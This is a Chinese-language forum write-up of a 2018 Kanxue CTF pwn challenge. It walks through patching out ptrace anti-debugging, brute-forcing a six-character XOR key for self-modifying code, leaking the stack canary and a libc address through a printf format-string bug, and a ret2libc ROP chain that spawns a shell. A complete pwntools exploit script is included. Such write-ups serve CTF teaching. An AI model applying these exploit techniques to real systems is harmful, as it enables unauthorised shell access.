首页
论坛
课程
招聘
[原创] 看雪CTF2018-第三题-PWN_wow writeup
2018-6-22 15:30 2991

[原创] 看雪CTF2018-第三题-PWN_wow writeup

2018-6-22 15:30
2991

目录

0x00 初步分析程序
0x01 绕过反调试
0x02 寻找key解密程序
0x03 寻找程序漏洞点(栈溢出和格式化字符串漏洞)
0x04 利用printf泄露canary和libc地址
0x05 ret2libc技术get shell


0x00 初步分析程序

拿到程序,file发现是linux 64位下的程序,ldd查看调用的库信息:

 查看开启的保护机制,可以看到开启了canary和NX(堆栈不可执行):
 IDA打开:

welcome函数打印欢迎信息,在返回的时候调用了test函数:

test函数中,调用了ptrace对程序本身进程进行trace,因为一个进程最多只能被一个进程trace,而像IDA、gdb等调试工具在动态调试时都是通过ptrace实现的,因此此时ptrace返回值(rax寄存器中)为负值,根据检测逻辑会执行sys_exit退出,从而实现反调试:

在返回后程序跳转到0x400818处,这里使用了SMC技术,部分指令被加密了,IDA不能正常解析:

按C转换部分正常数据为指令:

可以看到调用了sys_mprotect指令,用于设置内存访问权限,这里权限位值为7,说明可读可写可执行,可参考mman.h头文件的相关定义:

即mprotect(start=0x400000, len=0x1000, PROT_READ|PROT_WRITE|PROT_EXEC)

然后又执行了一个系统指令,这里IDA没有正确解析出来,但是可以由调用号0查表可知,这里是在调用sys_read命令:


完整的调用为:sys_read(0, char* szCh, 6) 其中文件描述符fd为0表示标准输入。

在读取了6个字符后,程序使用该输入和0x40087f开始的数据进行了异或的操作并写入,应该是在这里进行了程序的解密,0xfb0x90作为解密结束的标志:

到这里,程序的初步分析完毕,下一步目标是找到合适的输入,对程序数据进行解密。

0x01 绕过反调试

在刚刚说到的test函数中,程序对自身调用了ptrace以达到反调试的目的,然后对返回值进行判断,小于0则执行sys_exit退出,因此这里只需要patch跳转指令(将jge改为jmp),强制跳转即可:


0x02 寻找key解密程序

绕过反调试后,就可以愉快地动态调试了,由于输入规定是明文,而且异或后的数据需要出现0xfb,0x90,因此需要结合脚本逐字符爆破可能的key值,过程需要结合动态调试对解密后的数据进行验证,最后脚本如下:
# coding:utf-8
# author: sherllyyang00@gmail.com
# encrypt文件为bin中0x40087f-0x400a78的数据
def decrypt(start,filename,key):
	with open("encrypt","rb") as f:
		data = f.read()[start:]
	res=[]
	for i in range(32,127):
		res=[]
		found = 0
		for d in data:
			byte = ord(d)^i^key
			res.append(chr(byte))
			if byte == 0x90 and res[-2] == '\xfb':
				print "[*] key: ",chr(i)
				found = 1
		if found == 1:
			# print len(res)
			# print res
			if i == ord('a'):
				pos1 = "".join(res).find("\xfb\x90")
				print pos1
				pos2 = res[pos1+2:].index('\x90')
				print pos2
				pos = pos1+2+pos2+1
				res = res[:pos1+2+pos2+1]
				with open(filename,"wb") as f:
					f.write("".join(res))
				return pos

def decrypt_end(start,filename,key):
	with open("encrypt","rb") as f:
		data = f.read()[start:]
	res=[]
	for i in range(32,127):
		res=[]
		found = 0
		for d in data:
			byte = ord(d)^i^key
			res.append(chr(byte))
			if byte == 0x90:
				print "[*] key: ",chr(i)
				found = 1
				print len(res)
				break
		if found == 1:
			# print len(res)
			# print res
			if i == ord('K'):
				pos = "".join(res).find("\x90")
				print pos
				res = res[:pos+1]
				with open(filename,"wb") as f:
					f.write("".join(res))
				return pos
	return 0
pos = decrypt(start=0,filename="decrypt_1",key=0) # 'e' 
pos = decrypt(start=74,filename="decrypt_2",key=ord('e')) # 'v' 
pos = decrypt(start=74+71,filename="decrypt_3",key=ord('e')^ord('v')) # 'X'  /'6' 'W' 'X'
pos = decrypt(start=74+71+71,filename="decrypt_4",key=ord('e')^ord('v')^ord('X')) # 'n'
pos = decrypt(start=74+71+71+71,filename="decrypt_5",key=ord('e')^ord('v')^ord('X')^ord('n')) # 'a'
pos = decrypt_end(start=74+71+71+71+62,filename="decrypt_6",key=ord('e')^ord('v')^ord('X')^ord('n')^ord('a')) # 'K'
# evXnaK
得到正确的key值为evXnaK,输入验证下: 

0x03  寻找程序漏洞点

在输入正确的key值后,得到解密后的程序如下:



可以看到,首先调用了sys_write输出wow字符串,sys_write(1,"wow!\n",5), 其中文件描述符fd为1表示标准输出:

然后调用了sys_read读取26个字节到栈上,sys_read(0, char* rsp, 0x1a):

然后调用了printf输出刚刚读取的数据,这里没有加格式化字符串进行控制,存在漏洞,可以用于泄露栈上的canary和libc地址:

最后调用了sys_read读取0x200个字节到离栈顶0x20个字节的位置,明显超过了栈的大小,存在栈溢出漏洞:

0x04  利用printf泄露canary和libc地址

先泄露canary,首先确定canary的偏移,通过输入%p打印栈上的值,%i$p(i为索引)可以指定打印第几个值,使用pwntools调试,确定偏移为13:
payload1 = "%13$p"
然后尝试泄露puts基于libc的地址,先确定字符串在栈上的偏移,由于调试时发现字符串AAAAAAAA在偏移第8和第9之间,因此加了padding(aaaaa)使字符串对齐到偏移8处: 
payload1 = "%%13$p %%8$p aaaaa%s"%("A"*8)
接下来只需要将AAAAAAAA替换为puts在程序的got表中的地址,使用%s打印真实地址即可: 
payload1 = "%%13$p %%8$s aaaaa%s"%(p64(elf.got['puts']))
得到puts在libc的地址后就可以根据偏移得到system的地址,题目提供了环境信息为ubuntu16.04 4.4.0-91-generic,通过一个在线网站(https://libc.blukat.me/?q=puts%3A0&l=libc6_2.23-0ubuntu10_amd64)可以查到偏移信息。 
system_addr = puts_addr - 0x2a300
binsh_addr = puts_addr + 0x11d6c7

0x05  ret2libc技术get shell
首先确定覆盖到canary的前一个地址需要的数据大小,通过调试确定大小为0x58个字节:
 

由于程序开了DX,不能通过直接栈溢出写shellcode执行,因此这里用了ret2libc技术,跳转到libc中的system函数开启shell。

由于是64位下的程序,函数传参优先不通过栈,而是通过寄存器传参,第一个参数存放在rdi寄存器中,因此需要构造的pop rdi;ret的gadget将system函数的第一个参数"/bin/sh"传入,使用工具ROPgadget(https://github.com/JonathanSalwan/ROPgadget)在wow的bin里找pop rdi;ret的gadget,得到地址为0x400b23:

构造最终payload:
payload2=cyclic(0x58)+p64(canary)+p64(1)+p64(rdi_gadget_addr)+p64(binsh_addr)+p64(system_addr)
get shell:

最终脚本

# coding:utf-8
# author: sherllyyang00@gmail.com
from pwn import *
context(log_level="debug")

DEBUG = 0
if DEBUG:
	r = process('./wow')
else:
	r = remote('139.199.99.130',65188)
elf = ELF('./wow')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
key='evXnaK'
rdi_gadget_addr = 0x400b23

def fill(s):
	if len(s)!=8:
		return s+"\x00"*(8-len(s))

# decrypt bin
r.recvuntil("李清照\n\n***************************\n\n")
r.send(key)

# leak canary
r.recvuntil("wow!\n")
payload1 = "%%13$p %%8$s aaaaa%s"%(p64(elf.got['puts']))
log.info("len: %d"%len(payload1))
log.info(payload1)
r.send(payload1)
data = r.recv(1024)
canary = data.split(" ")[0]
log.info("canary: " + canary)
canary = eval(canary)

# leak puts_addr & calc system_addr
puts_addr = u64(fill(data.split(" ")[1]))
log.info("puts_addr: "+hex(puts_addr))
# system_addr = puts_addr - (libc.symbols['puts'] - libc.symbols['system'])
# log.info("system_addr: "+hex(system_addr))
system_addr = puts_addr - 0x2a300
log.info("system_addr: "+hex(system_addr))
# binsh_addr = puts_addr - (libc.symbols['puts'] - next(libc.search('/bin/sh')))
# log.info("binsh_addr: "+hex(binsh_addr))
binsh_addr = puts_addr + 0x11d6c7
log.info("binsh_addr: "+hex(binsh_addr))

# rop get shell
payload2=cyclic(0x58)+p64(canary)+p64(1)+p64(rdi_gadget_addr)+p64(binsh_addr)+p64(system_addr)
log.info(payload2)
r.send(payload2)
r.interactive()


安卓应用层抓包通杀脚本发布!《高研班》2021年3月班开始招生!

最后于 2018-6-23 23:53 被sherlly编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (4)
雪    币: 146
活跃值: 活跃值 (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
catgray 活跃值 2018-6-29 17:25
2
0
学习
雪    币: 208
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
elike 活跃值 2018-6-29 20:44
3
0
你好,start=74+71看不懂能解释下吗?
雪    币: 149
活跃值: 活跃值 (25)
能力值: ( LV13,RANK:330 )
在线值:
发帖
回帖
粉丝
sherlly 活跃值 4 2018-6-30 10:19
4
0
elike 你好,start=74+71看不懂能解释下吗?
指的是上一步pos的值,因为每次解密的数据长度有限。74是第一次解密的数据长度,以此类推。
雪    币: 208
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
elike 活跃值 2018-6-30 17:01
5
0
sherlly 指的是上一步pos的值,因为每次解密的数据长度有限。74是第一次解密的数据长度,以此类推。
谢谢
游客
登录 | 注册 方可回帖
返回